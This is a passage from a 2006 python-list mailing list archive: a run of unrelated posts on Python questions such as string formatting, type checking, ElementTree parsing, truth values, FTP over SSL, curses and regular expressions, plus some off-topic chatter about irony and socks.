easi;ly extend it with Python plugins. Open source, free as in beer,
etc. 

http://www.voidspace.org.uk/python/firedrop2/

Ron Stephens



From hpsekhon at googlemail.com  Thu Oct  5 06:39:25 2006
From: hpsekhon at googlemail.com (Hari Sekhon)
Date: Thu, 05 Oct 2006 11:39:25 +0100
Subject: Why do this?
In-Reply-To: <D4F9316ACC9D20489CC81D19B8A87D5B039FE58E@UKEX01.Digica.local>
References: <D4F9316ACC9D20489CC81D19B8A87D5B039FE58E@UKEX01.Digica.local>
Message-ID: <4524E0DD.4060808@googlemail.com>

Do whichever makes you happy I'd say

The only real difference is coding style and the formatting options of 
the %s way that I can see.

%s is negligibly slower in my tests, but we're talking the tiniest 
fraction of a second over thousands of iterations, not worth considering...

-h

Hari Sekhon



Matthew Warren wrote:
> Ok, not really python focused, but it feels like the people here could
> explain it for me :)
>
> Now, I started programming when I was 8 with BBC Basic.
>
> I never took any formal classes however, and I have never become an
> expert programmer. I'm an average/hobbyist programmer with quite a few
> languages under my belt but I cant do any really fancy tricks with any
> of them. (although Python might be nudging me into more advanced things,
> now I'm starting to get what all the __method__ thingies and operators
> are all about)
>
> I learned over the years to do things like the following, and I like
> doing it like this because of readability, something Python seems to
> focus on :-
>
> Print "There are "+number+" ways to skin a "+furryanimal
>
> But nowadays, I see things like this all over the place;
>
> print("There are %s ways to skin a %s" % (number, furryanimal))
>
> Now I understand there can be additional formatting benefits when
> dealing with numbers, decimal places etc.. But to me, for strings, the
> second case is much harder to read than the first.
>
> I hope I'm not being dense.
>
> The result is that I have pathalogically avoided print "%s" % (thing)
> because it seems to just over complicate things.
>
>
> Ta, :)
>
> Matt.
>
>
>
>
>
> This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. 
>
> You should not copy the email, use it for any purpose or disclose its contents to any other person.
> Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica.
> It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email.
>
> UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK
> Reception Tel: + 44 (0) 115 977 1177
> Support Centre: 0845 607 7070
> Fax: + 44 (0) 115 977 7000
> http://www.digica.com
>
> SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa
> Tel: + 27 (0) 21 957 4900
> Fax: + 27 (0) 21 948 3135
> http://www.digica.com
>   


From onurb at xiludom.gro  Wed Oct 11 04:29:16 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Wed, 11 Oct 2006 10:29:16 +0200
Subject: sufficiently pythonic code for testing type of function
In-Reply-To: <mailman.259.1160543174.11739.python-list@python.org>
References: <mailman.259.1160543174.11739.python-list@python.org>
Message-ID: <452cab5d$0$5294$426a74cc@news.free.fr>

Theerasak Photha wrote:
> I wrote this for someone else to take an object and list of types,
> then check if obj is one of those types, 

This is already what isinstance(obj, tuple_of_types) does.

> raising an error otherwise.
> 
> Is it enough to rely on side effects or absence thereof, or should I
> put return True in here somewhere?

What for ?

> def test_obj_type(obj, types):
>  for type in types:
>    if isinstance(obj, type):
>      break
>    else:
>      raise ValueError, 'object is not in %s' % types



def checkinstanceof(obj, types):
  if not isinstance(obj, types):
    raise ValueError('object is not an instance of %s' % str(types))


Now the real question : what if the object is not an instance of any of
the types, but still support the expected interface ?

> -- Theerasak


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From johnjsal at NOSPAMgmail.com  Sun Oct  1 01:30:32 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Sun, 01 Oct 2006 01:30:32 -0400
Subject: question about scope
In-Reply-To: <mailman.1025.1159679073.10491.python-list@python.org>
References: <451f2fa7$0$14757$c3e8da3@news.astraweb.com>
	<mailman.1025.1159679073.10491.python-list@python.org>
Message-ID: <451f52f1$0$1803$c3e8da3@news.astraweb.com>

Steve Holden wrote:

> The methods do indeed look in their enclosing class, but only for 
> self-relative references. These are sought first in the instance, then 
> in the instance's class, then in the instance's class's superclass, and 
> so on up to the ultimate superclass. In other words, all attribute 
> lookup uses the method resolution order ...

So what I did is correct? It does work, but why don't I have to define 
the list as self.menu_items as well?


From outstretchedarm at hotmail.com  Wed Oct 18 13:40:51 2006
From: outstretchedarm at hotmail.com (Omar)
Date: 18 Oct 2006 10:40:51 -0700
Subject: More Noob Questions
Message-ID: <1161193249.636093.206690@e3g2000cwe.googlegroups.com>

Hi all...this is a good group so I'm sure you'll tolerate some more
noobish questions...

1) I'm also learning to program flash movies while I learn to do
python.  How can one implement flash movies into their python code?

2) besides Chieh's tutorials on the python.org site, anyone know of any
other video tutorials for python?  this style of learning suites me
well.

more to come!



From hanumizzle at gmail.com  Fri Oct  6 06:00:03 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 06:00:03 -0400
Subject: help on pickle tool
In-Reply-To: <1160126999.826707.75010@i42g2000cwa.googlegroups.com>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<mailman.1404.1160111129.10491.python-list@python.org>
	<1160124108.779860.236940@i3g2000cwc.googlegroups.com>
	<mailman.1428.1160124488.10491.python-list@python.org>
	<1160125387.706686.70090@h48g2000cwc.googlegroups.com>
	<mailman.1434.1160126159.10491.python-list@python.org>
	<1160126999.826707.75010@i42g2000cwa.googlegroups.com>
Message-ID: <463ff4860610060300y4380eb80u41a556939aeca6ae@mail.gmail.com>

On 6 Oct 2006 02:29:59 -0700, virg <06virg at gmail.com> wrote:
> Yes your are right. I will send a dictionary object from the server to
> the client.
> I already have client which is written in python. But we are migrating
> the python client which is a command line tool  to Web UI client
> (java).

Please explain 'Web UI'. Can Python perform an equivalent function?

-- Theerasak


From skip at pobox.com  Mon Oct  2 09:31:27 2006
From: skip at pobox.com (skip at pobox.com)
Date: Mon, 2 Oct 2006 08:31:27 -0500
Subject: PYTHON PHONE MODULE
In-Reply-To: <1159793857.974408.114000@e3g2000cwe.googlegroups.com>
References: <1159793857.974408.114000@e3g2000cwe.googlegroups.com>
Message-ID: <17697.5295.805299.865644@montanaro.dyndns.org>


    vedran> Can you tell me one simple python phone module ...

What is a "phone module"?  Does it manipulate phone numbers, map phone
numbers to locations, place phone calls, handle phone calls?

Skip


From hanumizzle at gmail.com  Fri Oct  6 23:38:47 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 23:38:47 -0400
Subject: Skullsocks to the rescue - was [irrelevant squabble of IL]
In-Reply-To: <4omrtoFf9r6gU1@uni-berlin.de>
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>
	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>
	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>
	<mailman.1388.1160089812.10491.python-list@python.org>
	<1160100015.211649.310540@m73g2000cwd.googlegroups.com>
	<4omn7jFfe26cU1@uni-berlin.de>
	<mailman.1448.1160130030.10491.python-list@python.org>
	<4omrtoFf9r6gU1@uni-berlin.de>
Message-ID: <463ff4860610062038g448ad28an9f861fece04e97f@mail.gmail.com>

On 10/6/06, Diez B. Roggisch <deets at nospam.web.de> wrote:
> Fredrik Lundh schrieb:
> > Diez B. Roggisch wrote:
> >
> >> This is on the same level of interest to the communities of python,
> >> ruby & java as the color of my socks this morning - a deep black with
> >> cute little skulls imprinted.
> >
> > are they perhaps red or green?  and look something like the skulls on this:
>
> Due to the unexpected interest in my foot-garments, I here present
> an image of  my current collection of skullsocks(tm)

Eric Cartman: "KICK ASS"

-- Theerasak


From sschwarzer at sschwarzer.net  Tue Oct 24 07:26:41 2006
From: sschwarzer at sschwarzer.net (Stefan Schwarzer)
Date: Tue, 24 Oct 2006 13:26:41 +0200
Subject: FTP over SSL
In-Reply-To: <Xns9862A12779E68toreriknpolarno@129.242.5.222>
References: <Xns9862A12779E68toreriknpolarno@129.242.5.222>
Message-ID: <453DF871.60508@sschwarzer.net>

On 2006-10-20 15:50, Tor Erik Soenvisen wrote:
> Anyone know about existing code supporting FTP over SSL?
> I guess pycurl http://pycurl.sourceforge.net/ could be used, but that
> requires knowledge of libcurl, which I haven't.

Possibly you could use M2Crypto [1]. It has a FTP_TLS class
in module ftpslib which is similar to ftplib.FTP. To use FTP
more easily, you can use ftputil [2] (I'm its author). You
should be able to use M2Crypto via ftputil [3].

[1] http://wiki.osafoundation.org/bin/view/Projects/MeTooCrypto#Downloads
[2] http://ftputil.sschwarzer.net
[3] http://ftputil.sschwarzer.net/trac/browser/branches/add_stat_caching/ftputil.txt?rev=622
    line 893

Stefan


From apardon at forel.vub.ac.be  Fri Oct 27 14:09:59 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 27 Oct 2006 18:09:59 GMT
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<zNO%g.154$1n3.3672@news.tufts.edu>
	<pan.2006.10.26.14.51.45.732212@REMOVE.THIS.cybersource.com.au>
	<slrnek3jk9.aqe.apardon@rcpc42.vub.ac.be>
	<pan.2006.10.27.13.31.19.721942@REMOVE.THIS.cybersource.com.au>
Message-ID: <slrnek4irn.2e3.apardon@rcpc42.vub.ac.be>

On 2006-10-27, Steven D'Aprano <steve at REMOVE.THIS.cybersource.com.au> wrote:
> On Fri, 27 Oct 2006 09:16:57 +0000, Antoon Pardon wrote:
>
>>> I think it is a good time to remind people of some extremely well-thought
>>> out opposition to the introduction of bools to Python from Laura Creighton:
>>>
>>> http://mail.python.org/pipermail/python-list/2002-April/095878.html
>>>
>>> She lost the debate, Guido had the final word and Python now has bools.
>>> Take particular note of her description of Python distinguishing between
>>> Something ("cat", 4, [0, 1, 2] etc) and Nothing ("", 0, [] etc).
>> 
>> Yes and IMO that is a less usefull distinction than the distinction
>> between True and False. When I write code I think in terms of
>> conditions. In those conditions this has to be treated this way
>> otherwise it has to be treated an other way. Conditions give
>> results that are either True or False, not Something or Nothing.
>
> And if you read the thread that Laura Creighton's post is part of, you
> will see that she acknowledges that most people think strongly in terms
> of binary true/false yes/no states, and that this is often the wrong thing
> to do. There are lots of human thought patterns that are unhealthy, and
> binary is often one of them.

The Nothing/Something dichotomy is just as binary as the True/False
dichotomy. And in the case of deciding whether you will take the
"then" branch or "else" branch I see nothing unhealthy in checking
whether the condition was true or not.

> The world is continuous, and our brains think in binary. No wonder people
> have such trouble with concepts like evolution:

The world may be continuous, programming structures are discrete.
You take the "then" branch or not. In the latter case you can
again decide to take the elif branch or not. There is nothing
continuous in that.

> - there is a continual chain of individuals such that every offspring of
> an reptile is a reptile, and every parent of a mammal is a mammal, and
> yet mammals are directly descended from reptiles.
>
> By I digress. This is too easy to get off topic...
>
>
>> I don't think of 10 > 5 as Something while 5 < 10 would be
>> Nothing. 
>
> Not at all, you got your operators the wrong way around. Five certainly is
> less than 10 in every counting system I've ever come across. I think you
> meant 5 > 10 is Nothing.

Yes that was a type, I meant I don't think of 5 > 10 as Nothing.

> Certainly purely mathematical relations like GT and LT lend themselves
> very well to true two-valued algebra. The thing to remember is that
> Python's truth model is not the same as pure Boolean algebra. For
> starters, it certainly is not two-valued! It is infinitely-valued. It's
> just that many of those values are equivalent *in a Boolean context*.

That it is infinitely-valued is a red herring. It is partitioned in
two, so all these infinite values are mapped into two possibilities
because at the end you have to decide a simple yes/no question.
Will I repeat the loop or not. Will I take the "then" branch or
not.

> In Pascal, writing "x := 2; if x then..." would be an error, because x is
> not a Boolean. But it is certainly useful to be able to write the
> equivalent in Python. The designer of Pascal choose strict Boolean
> algebra; the designer of Python choose a more flexible, less strict model.
>
> If you are going to argue for strict Booleans, like in Pascal, then
> mathematical relations like GT and LT will be your poster-child. 
>
> But if you are going to argue for Python's less strict truth model, then
> you'll talk about lots of examples like this:
>
> if somelist:
>     # work with the list
> else:
>     # nothing to work with

In most case I just do:

  for el in somelist:

which works for empty lists just as good as non-empty ones. So
why should an empty list be treated differently from an non-empty
one if it is used in a boolean context?

>> So while the paradigma of the language may be the
>> distinction of Something vs Nothing the programmer will often
>> enough think in terms of True and False. 
>
> If you read Laura's post, you will see that she is arguing strongly that
> thinking about True and False is often -- usually! -- a mistake.

Yes she argues that? So? I think she is wrong and her argument
lacking.

> I
> acknowledge that there are cases where it is either necessary or desirable
> to think in terms of True/False, but that is less common than you might
> think.

Control structures in programming languages do nothing else but decide
things in terms of True/False. You may dress things up but in the
end a statement like:

  if obj:

Will evaluate/map into a two valued domain, where one value will lead you
into the "then" branch and the other value will not. And IMO the more
clearer the relationship between the written code and the final result
the better.

-- 
Antoon Pardon


From fredrik at pythonware.com  Thu Oct 12 06:20:36 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 12 Oct 2006 12:20:36 +0200
Subject: XML ElementTree Parse.
References: <1160647385.137882.287070@m7g2000cwm.googlegroups.com>
Message-ID: <egl4tk$tgg$1@sea.gmane.org>

marc.wyburn at googlemail.com wrote:

> I'm playing with XML and elementtree and am missing something but I'm
> not sure what...? I've create an XML file with Elementtree with a root
> of backup.xml.  Attached to the root is a dirob and the dirobj has a
> fileobj.  fileobj has filename and filesize tags.  I can open the file
> in excel and it sets out the columns as I would expect.  The problem
> I'm having is parsing the file. Using..
>
>>>> file = open('c:\\scripts\\backup.xml', "r")
>>>> tree = parse(file)
>>>> elem = tree.getroot()
>>>> elem.findtext('filesize')
>
> Doesn't return anything, infact I can't seem to find anything
> regardless of what I search for.

find/findtext/findall only look at direct subelements, unless you use xpath-
style syntax.  in this case,

    elem.findtext("dirob/fileob/filesize")

should do the trick.  or you could do something like

    for dir_elem in tree.findall("dirob"):
        for file_elem in dirob.findall("fileob"):
            print file_elem.findtext("filesize")

to loop over all directory objects at the top level, and print the sizes for
all files in those directories.

to get the first filesize in the tree, no matter where it is, use

    elem.findtext(".//filesize")

</F>

> - <backup.xml>
> -  <dirob>
>     <dirname>C:\sysprep</dirname>
> -  <fileob>
>      <filename>test.txt</filename>
>      <filesize>10</filesize>
>     </fileob>
>    </dirob>
>  </backup.xml>





From rasmussen.bryan at gmail.com  Tue Oct 10 09:25:10 2006
From: rasmussen.bryan at gmail.com (bryan rasmussen)
Date: Tue, 10 Oct 2006 15:25:10 +0200
Subject: OT: Sarcasm and irony
In-Reply-To: <452b9017$0$14045$edfadb0f@dread15.news.tele.dk>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
	<mailman.189.1160470256.11739.python-list@python.org>
	<452b73ce$0$14045$edfadb0f@dread15.news.tele.dk>
	<mailman.202.1160476890.11739.python-list@python.org>
	<452b9017$0$14045$edfadb0f@dread15.news.tele.dk>
Message-ID: <3bb44c6e0610100625p4dae88afg5231be1d4d50e683@mail.gmail.com>

> bryan rasmussen skrev:
>
> > Well irony originally started out as a very specific concept of the
> > Ancient Greek drama, this is what we nowadays refer to as Dramatic
> > Irony but it is the original irony. Irony then became a literary
> > concept for plot elements similar to Dramatic irony in books, or a
> > weaker type of the Dramatic irony found in the plays of Shakespeare.
> > People then noticed that life was at times ironic in the literary
> > manner.
>
> Yes and in Rome "salary" meant getting a bag of salt.

According to Answers.com it derives from a word for money given to
Roman soldiers for buying salt, hence salary is pertaining to salt.

> Concepts changes.

As was noted in my original statement the weak form of irony such as
understood by Danes and I suppose by Americans as well, since that is
what Steve was originally complaining about, is descended from the
concept of Dramatic Irony. If you do a dictionary lookup of irony
dramatic irony will probably be mentioned, also such more antiquated
usages as Socratic irony.

These other concepts of irony have not changed. You can use the word
irony in a technical manner to someone in the dramatic arts and have
the usage understood.

 The weak form of irony, verbal irony, is a pretty recent addition to
the concept of irony.

To take a wikipedia discussion of the subject:
http://en.wikipedia.org/wiki/Irony

let's quote:
"Verbal irony is traditionally defined as the use of words to convey
something other than, and especially the opposite of the literal
meaning of the words. One classic example is a speaker saying, "What
lovely weather we are having!" as she looks out at a rainstorm
intending to express her dissatisfaction with the weather."

I believe this answers to the concept of irony as used by Danes
(especially given  the example of the weather comment above which I
hear similar comments all the time.)

Given the wikipedia article and Steve Holden's description of
Americans as being clueless about irony for usages that you seem to
find correct I suppose that Americans are no more clueless or less apt
to understand Danish irony than Danes are. However, having been
exposed to Danish irony quite a bit I have to say that in my case I
understand it fine but it bores me, therefore when a Dane tells me
that Americans don't understand Danish irony I always secretly think
they probably wonder why looking out at a rainstorm and saying "What
lovely weather we are having" should be considered as a particularly
inspired use of the verbal ironical form. Also although I am not an
american I am often mistaken for one by Danes and when someone says
'What lovely weather we are having' (or similar) I will tend to be
rather ironical myself and pretend not to have understood their
comment as being ironical. And then they will try to explain irony to
me with very long and drawn out explanations. Fun stuff.


> > Nowadays the use of the word irony has degenerated to by
> > pretty much synonymous with sarcasm.
>
> As a Dane that is a Chronic Ironic, I beg to differ.
>
> In Denmark at least there is a lot of difference between irony and
> sarcasm. Irony is the main form of humor here, and danes takes to it
> easily. People being sarcastic we don't much like.
>
> But I guess that it can be hard to se the difference for someone not
> used to irony.

Yes, just what I was going to say.

I suppose that you will admit that the Danish Ironisk has the same
history as the English Irony, of course as the above mentioned
Wikipedia article mentions "Irony often requires a cultural backdrop
to be understood or noticed, and as with any culture-specific idiom,
irony often cannot be perfectly transplanted. " If you do so agree
then, as opposed to your example of 'salary', the current meaning of
irony being predominantly used to convey Verbal irony is rather
recent.


I may very well be missing some sort of meta-irony in someone saying
"What wonderful weather we're having" when its pouring in K?benhavn's
R?dhusplads, as in a sort of self-ironical stance consisting of an
implicit statement of "what an idiot I must be for thinking it
worthwhile to comment ironically on the weather when everyone else
today has said the same damn thing. " but I don't know. The main point
is, I think, that verbal irony is understood as a meaning for irony
between various cultures and is not a unique invention of the Danes,
for unique linguistically defined concepts I think Denmark's best
strategy is still to push 'hygge'.

Now again, it may be somewhat old time fuddy-duddyism on my part to
insist on a stronger form of the word irony than verbal irony. I am
personally ready to use all the definitions of ironical forms
discussed in the Wikipedia article because they are technically
precise words and concepts for which we do not have words and concepts
other than them.



Med Venlig Hilsen,
Bryan Rasmussen


From nospam at jollans.com  Wed Oct  4 09:36:54 2006
From: nospam at jollans.com (Thomas Jollans)
Date: Wed, 4 Oct 2006 15:36:54 +0200
Subject: dictionary of list from a file
References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com>
Message-ID: <eg0ddm$v5b$02$1@news.t-online.com>

On Wed, 04 Oct 2006 06:09:21 -0700, andrea.spitaleri at gmail.com let this
slip:

> b={}
> a=[]
> for line in fl.readlines():
>          info=lines.split()
>          b[info[0]] = a.append(info[1])
append does not return a value. you'll want something like
  d = {}
  for line in fl:
    key, value = line.strip().split()
    if key not in d: d[key] = []
    d[key].append(value)

or something with setdefault, as limodou suggested.
 
> for i in b:
>      print i,b[i]
you can also use:
  for k,v in d.iteritems():
    print k,v

if you're dealing with integers only, you'll want to convert the data when
reading using int() and long().

> i get
> 2 None
> 7 None
> 
> data file is:
> 2 1
> 2 2
> 2 3
> 2 4
> 7 7
> 7 8
> 7 9
> 7 10

-- 
Thomas Jollans alias free-zombie


From nicolasg at gmail.com  Tue Oct  3 03:56:09 2006
From: nicolasg at gmail.com (NicolasG)
Date: 3 Oct 2006 00:56:09 -0700
Subject: I need Cryptogrphy in Python please .
Message-ID: <1159862169.318561.314620@k70g2000cwa.googlegroups.com>

Looking around for a Cryptography tool kit, the best recommendations I
found about was for pyCrypto. I try to install it unsuccessfully in my
windowsXP SP2 with python 2.4.3 and I get the following message :
C:\Python24\pycrypto-2.0.1>python setup.py build
running build
running build_py
running build_ext
error: The .NET Framework SDK needs to be installed before building
extensions f
or Python.

I have installed .NET framework latest release.
Unfortunately the pyCrypto project looks abandoned , I couldn't find an
active mailing list and the last release are a couple of year old.

Can some one guide me how to fix the problem above or point me to
another Cyrptography library that I can use easily ?

Thanks.



From e.h.doxtator at accenture.com  Tue Oct 10 17:08:43 2006
From: e.h.doxtator at accenture.com (e.h.doxtator at accenture.com)
Date: 10 Oct 2006 14:08:43 -0700
Subject: Adding Worksheets to an Excel Workbook
Message-ID: <1160514523.693496.223630@e3g2000cwe.googlegroups.com>

All

I'm a Python newbie, and I'm just getting to the wonders of COM
programming.  I am trying to programmatically do the following:

1.  Activate Excel
2.  Add a Workbook
3.  Add a Worksheet
4.  Populate the new Worksheet
5.  Repeat steps 3,4 while there is data.

How do you add a Worksheet to a Workbook?

Thanks!



From mrquantum at holon.at  Wed Oct  4 06:59:05 2006
From: mrquantum at holon.at (mrquantum)
Date: Wed, 04 Oct 2006 12:59:05 +0200
Subject: string: __iter__()?
References: <7e8bf$452385eb$506d0b9f$12642@news.chello.at>
	<mailman.1248.1159956262.10491.python-list@python.org>
	<636bd$452388d1$506d0b9f$12642@news.chello.at>
	<eg0224$3d7$02$1@news.t-online.com>
Message-ID: <1df36$452393f9$506d0b9f$12642@news.chello.at>

Am Wed, 04 Oct 2006 12:24:48 +0200 schrieb Peter Otten:

> 
> The older pre-__iter__() iteration style relying on __getitem__() still
> works:
> 
>>>> class A:
> ...     def __getitem__(self, index):
> ...             return [3,2,1][index]
> ...
>>>> for item in A():
> ...     print item
> ...
> 3
> 2
> 1
> 

Thanks! I see:

>>> class B:
...   def __iter__(self):
...     for i in xrange(3):
...       yield [3,2,1][i]
...
>>> myIter = B().__iter__()
>>> myIter.next()
3
>>> myIter.next()
2
>>> myIter.next()
1

Chris


From tbryan at python.net  Wed Oct 25 10:19:07 2006
From: tbryan at python.net (T. Bryan)
Date: Wed, 25 Oct 2006 14:19:07 GMT
Subject: starship.python.net status update
Message-ID: <vnK%g.4582$337.2017@southeast.rr.com>

We are now ready to start re-enabling user accounts on starship.python.net. 
If you had an account on the machine, then you should have received an
e-mail about it already.  If you didn't, you should send e-mail to 
webmaster.  If you did, expect it to take at least 24 hours for your
account to be re-enabled.  

Once "crew" members on starship.python.net have access to their accounts
again, they will be able to restore the content that is normally available
on starship.python.net.  At that point, starship.python.net should be back
to normal again.

Regards,
---Tom



From agriff at tin.it  Sat Oct 28 10:17:42 2006
From: agriff at tin.it (Andrea Griffini)
Date: Sat, 28 Oct 2006 16:17:42 +0200
Subject: Where do nested functions live?
In-Reply-To: <mailman.1395.1162027001.11739.python-list@python.org>
References: <pan.2006.10.28.07.56.22.854398@REMOVE.THIS.cybersource.com.au>	<871wosdfvr.fsf@benfinney.id.au>
	<mailman.1395.1162027001.11739.python-list@python.org>
Message-ID: <454365c4$0$3216$4fafbaef@reader2.news.tin.it>

Fredrik Lundh wrote:
> Ben Finney wrote:
> 
>> If you want something that can be called *and* define its attributes,
>> you want something more complex than the default function type. Define
>> a class that has a '__call__' attribute, make an instance of that, and
>> you'll be able to access attributes and call it like a function.
> 
> I turned Steven's question and portions of the answers into a Python FAQ 
> entry:
> 
>     http://effbot.org/pyfaq/where-do-nested-functions-live.htm
> 
> Hope none of the contributors mind.

I'd add that while in some respect "def x" is like
an assigment to x ...

 >>> def f():
	global g
	def g():
             return "Yoo!"
 >>> f()
 >>> g()
'Yoo!'

in some other respect (unfortunately) it's not a regular assignment

 >>> x = object()
 >>> def x.g():
	
SyntaxError: invalid syntax
 >>>

Andrea


From hanumizzle at gmail.com  Sat Oct  7 22:00:50 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Sat, 7 Oct 2006 22:00:50 -0400
Subject: need some regular expression help
In-Reply-To: <1160258429.883224.285830@i3g2000cwc.googlegroups.com>
References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com>
	<1160258429.883224.285830@i3g2000cwc.googlegroups.com>
Message-ID: <463ff4860610071900q7d406919kdbd0b2dcdbd12a32@mail.gmail.com>

On 7 Oct 2006 15:00:29 -0700, Diez B. Roggisch <deets at web.de> wrote:
>
> Chris wrote:
> > I need a pattern that  matches a string that has the same number of '('
> > as ')':
> > findall( compile('...'), '42^((2x+2)sin(x)) + (log(2)/log(5))' ) = [
> > '((2x+2)sin(x))', '(log(2)/log(5))' ]
> > Can anybody help me out?
>
> This is not possible with regular expressions - they can't "remember"
> how many parens they already encountered.

Remember that regular expressions are used to represent regular
grammars. Most regex engines actually aren't regular in that they
support fancy things like look-behind/ahead and capture groups...IIRC,
these cannot be part of a true regular expression library.

With that said, the quote-unquote regexes in Lua have a special
feature that supports balanced expressions. I believe Python has a
PCRE lib somewhere; you may be able to use the experimental ??{ }
construct in that case.

-- Theerasak


From ewijaya at i2r.a-star.edu.sg  Thu Oct 26 03:42:25 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Thu, 26 Oct 2006 15:42:25 +0800
Subject: Problem Commenting within Filehandle Iteration
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615D4@mailbe01.teak.local.net>


Hi all,
 
I have the following code:
 
 
import sys               
import re                

ham_count = 0            
spam_count = 0
myfile = open('full/index')
for line in myfile.readlines():
    p = re.compile('ham')
    m = p.match(line)
    if m:
        print line,
    else:
        #print 'SPAM -- %s' % line
myfile.close()

Sometime while developing/debugging the code we usually 
put in such situation. Where expression under "else"
is not yet supplied, yet we would like see the printout of the
previous "if" condition. 
 
Notice that I wanted to comment out the #print line there.
However I found problem with myfile.close(), with identation error.
This error doesn't occur when commenting (#) is not in use.
 
Why so?  Is there away to do the commenting in correct way
under this circumstances?
 
-- 
Edward WIJAYA
SINGAPORE
 
 

------------ Institute For Infocomm Research - Disclaimer -------------
This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
--------------------------------------------------------


From Eric_Dexter at msn.com  Thu Oct 12 00:44:37 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 11 Oct 2006 21:44:37 -0700
Subject: is there an easy way to create a database on the fly and let the user
	input values
Message-ID: <1160628277.112881.211410@h48g2000cwc.googlegroups.com>

     I don't realy care what database I use wx.grid or whatever.  I
wan't it to look at a line

128 9023 23428 exc and create the database or pick something out of the
file as  some sort of a descrition line and then display and allow the
user to change and add new lines.  What is the easiest set of database
routines to use for such a project???

http://www.dexrow.com



From gagsl-py at yahoo.com.ar  Tue Oct 31 13:46:56 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Tue, 31 Oct 2006 15:46:56 -0300
Subject: scared about refrences...
In-Reply-To: <1162315016.354163.18950@i42g2000cwa.googlegroups.com>
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
	<pan.2006.10.30.19.32.25.538858@gmx.net>
	<1162242647.481298.251320@b28g2000cwb.googlegroups.com>
	<pan.2006.10.30.22.26.42.261733@REMOVE.THIS.cybersource.com.au>
	<1162248250.994200.13450@m7g2000cwm.googlegroups.com>
	<ei60go$ngb$1@web.aioe.org>
	<1162254191.507805.276640@k70g2000cwa.googlegroups.com>
	<ei6o2u$9sq$1@web.aioe.org>
	<1162315016.354163.18950@i42g2000cwa.googlegroups.com>
Message-ID: <7.0.1.0.0.20061031154555.04ce4bd0@yahoo.com.ar>

At Tuesday 31/10/2006 14:16, SpreadTooThin wrote:

>I don't understand why python would insist that everything must be a
>refrence...
>It is of course helpful sometime but other times its not...  and now
>I'm sorta out
>of luck...
>I don't know how to make this structure immutable...  Pickle it?  Seems
>very
>inefficient to me...
>Every time I pass a variable now I will worry that it will be changed
>by the function...
>I haven't worried about things like this since the very early days of
>BASIC....
>I don't know.. maybe I have more to learn.

If you haven't read this yet, you should: 
<http://www.effbot.org/zone/python-objects.htm>


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From ak at silmarill.org  Sat Oct  7 15:40:49 2006
From: ak at silmarill.org (Rainy)
Date: 7 Oct 2006 12:40:49 -0700
Subject: curses problem reading cursor keys
In-Reply-To: <4527f8af$0$1377$da0feed9@news.zen.co.uk>
References: <4527a7c1$0$21342$db0fefd9@news.zen.co.uk>
	<4527f8af$0$1377$da0feed9@news.zen.co.uk>
Message-ID: <1160250049.917971.246760@b28g2000cwb.googlegroups.com>


Simon Morgan wrote:
> On Sat, 07 Oct 2006 13:12:33 +0000, Simon Morgan wrote:
>
> > import curses
> >
> > def main(scr):
> >     status = curses.newwin(1, curses.COLS, 0, 0) status.bkgd('0')
> >     status.refresh()
> >
> >     list = curses.newwin(curses.LINES, curses.COLS, 1, 0) list.bkgd('X')
> >     list.refresh()
>
> If I use scr.subwin() instead of curses.newwin()...
>
> >     y = 0
> >     while True:
> >         c = list.getch()
>
> and scr.getch() instead of list.getch(), things seem to work. I'd still
> really like to know what's going on though.
>
> >         if c in (curses.KEY_UP, curses.KEY_DOWN, ord('z')):
> >             list.addstr("Match!")
> >         elif c == ord('q'):
> >             break
> >
> > curses.wrapper(main)

I don't have a linux here now but I vaguely remember running into this.
I think what I did was just writing down what code you do get when
pressing down and up, etc, and using that code. By the way I looked
around back then and didn't find any thorough tutorials on curses,
either.



From steve at holdenweb.com  Tue Oct 24 11:55:40 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 24 Oct 2006 16:55:40 +0100
Subject: The format of filename
In-Reply-To: <453E3144.50307@tim.thechases.com>
References: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>	<ehl9i4$juu$1@sea.gmane.org>
	<453E3144.50307@tim.thechases.com>
Message-ID: <ehlcvq$457$2@sea.gmane.org>

Tim Chase wrote:
>>>As an example, I'm aware (through osmosis?) that I can use '/' as
